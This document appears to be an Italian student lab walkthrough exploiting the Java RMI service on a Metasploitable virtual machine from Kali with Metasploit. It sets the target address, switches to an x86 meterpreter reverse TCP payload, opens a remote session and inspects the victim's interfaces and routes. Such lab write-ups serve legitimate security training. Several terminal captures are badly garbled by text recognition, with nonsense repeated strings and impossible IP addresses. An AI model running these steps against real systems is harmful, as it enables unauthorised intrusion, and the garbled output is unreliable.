```
msfadmin@metasploitable:~$ ifconfig
            Link encap:Ethernet HWaddr 08:00:27:e0:d6:45
eth0
            inet addr:192.168.11.112 Bcast:192.168.11.255 Mask:255.255.255.0
            inet6 addr: fe80::a00:27ff:fee0:d645/64 Scope:Link
            UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1964 errors:0 dropped:0 overruns:0 frame:0
TX packets:1821 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:1000
            RX bytes:1185219 (1.1 MB) TX bytes:128900 (125.8 KB)
Base address:0xd020 Memory:f0200000-f0220000
lo
            Link encap:Local Loopback
            inet addr:127.0.0.1 Mask:255.0.0.0
            inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436
                                                    Metric:1
            RX packets:990 errors:0 dropped:0 overruns:0 frame:0
            TX packets:990 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:0
            RX bytes:464017 (453.1 KB) TX bytes:464017 (453.1 KB)
msfadmin@metasploitable:~$
```

Per settare l'ip digitare il comando sudo nano /etc/network/interfaces

```
msfadmin0metasploitable:"$ sudo nano /etc/network/interfaces_
```

```
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto etho
iface etho inet static
address 192.168.11.112
netmask 255.255.255.0
gateway 192.168.11.1
dns-nameservers 8.8.8.8 8.8.4.4
```

Effettuare gli stessi comandi su kali linux

```
| Chalif Stall)-[-]
- | Stronfig |
-
```

Digitare il comando msfconsole su kali linux

Cercare la vulnerabilità con il comando search Java rmi

Digitare il comando use 4 per selezionare il Modulo evidenziato sopra

```
is exploit/limus/http/kibana_timelion_prototype_pollution_rec 2619-18-38 manual ves politifulty/noner/firefo_pol_bookstropped_addon 2607-86-77 excellent to be politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politifulty/notary-politi
```

Usa il comando set RHOSTS per settare RHOSTS seguito dall'ip della macchina target

```
View the full module info with the info, or info -d command.

**gas application***[Injury and injury ] > set 800515

**postation***[Injury and injury ] > set 800515

**postation**[Injury and injury and injury ] > set 800515

**postation**[Injury and injury and inj
```

Ridigitare il comando show options per controllare di aver settato l' RHOSTS

Digitare il comando exploit come sopra indicato.

Il caricamento del payload fallirà come sopra indicato.

Per poter riuscire ad adempiere il compiere bisogna cambiare payload

```
View the full module info with the info, or info -d command.

mafe emploit(mattivate/jess_materier) > emploit

[=] Started reverse fCP handler on 197.108.11.111:4444
[=] 197.108.11.121:1999 - seeding Mit Call.
[=] 197.108.11.1121:1999 - seeding Mit Call.
[=] 197.108.11.1121:199 - seeding Mit Call.
[=] 197.10
```

Per fare questo bisogna digitare il comando show target, grazie a questo comando si potranno vedere una serie di exploit targets

Digitare dunque il comando "set target 2"

Digitare il comando show payload per visualizzare tutti i payload disponibili legati all' opzione selezionata in precedenza.

Digitare il comando set payload 16 perché è il payload per via del fatto che è un payload simile a quello usato all'inizio e lo si comprende dalla parte /x86/meterpreter/reverse_tcp

Digito il comando rerun per rilanciare il payload

Una volta fatto questo mi trovo in meterpreter a questo punto digito il comando ifconfig per visualizzare l'ip target dal momento che tramite meterpreter sono all' interno della macchina target . nella sezione interfaces al punto evidenziato posso visualizzare l'ip target.

```
| IPVA Address : 192.186.11.112 |
| IPVA Address : 253.255.255.25 |
| IPVA Address : fe80:1a00:27ff:fee0:d645 |
| IPVA Address : fe80:1a00:27ff:fee0:d645 |
| IPVA Address : fe80:1a00:27ff:fee0:d645 |
| IPVA Network routes |
| IPVA Network routes
```

A questo punto digito il comando route per trovare le informazioni sulla tabella di routing della macchina vittima.